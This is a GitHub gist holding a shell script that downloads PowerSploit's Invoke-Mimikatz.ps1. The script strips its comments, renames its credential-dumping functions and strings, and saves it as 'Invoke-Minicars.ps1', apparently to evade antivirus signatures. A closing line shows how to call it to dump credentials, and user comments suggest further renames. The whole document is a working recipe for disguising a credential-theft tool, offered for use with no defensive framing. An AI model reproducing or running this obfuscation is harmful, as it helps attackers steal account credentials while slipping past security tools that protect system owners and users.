Skip to content

Instantly share code, notes, and snippets.

@curi0usJack
Last active April 26, 2021 15:48
Show Gist options
  • Star 6 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save curi0usJack/adbf34bd402f28138388bd6e266da961 to your computer and use it in GitHub Desktop.
Save curi0usJack/adbf34bd402f28138388bd6e266da961 to your computer and use it in GitHub Desktop.
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1
# Uncomment below two lines to clean comments from all .ps1 files in ./
#find ./ -name "*.ps1" -exec sed -i -e '/^<#/,/^#>/d' {} \;
#find ./ -name "*.ps1" -exec sed -i -e 's/#.*$//' {} \;
sed -i -e '/^<#/,/^#>/d' Invoke-Mimikatz.ps1
sed -i -e 's/#.*$//' Invoke-Mimikatz.ps1
sed -i -e's/DumpCerts/GimmeCerts/g' Invoke-Mimikatz.ps1
sed -i -e 's/DumpCreds/GimmeCreds/g' Invoke-Mimikatz.ps1
sed -i -e 's/mikatz/nicars/g' Invoke-Mimikatz.ps1
mv Invoke-Mimikatz.ps1 Invoke-Minicars.ps1
# Call like so: . ./Invoke-Minicars.ps1; Invoke-Minicars -GimmeCreds;
@xillwillx
Copy link

sed -i -e 's/mikatz/incars/g' Invoke-Mimikatz.ps1

@Aekras1a
Copy link

nani

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment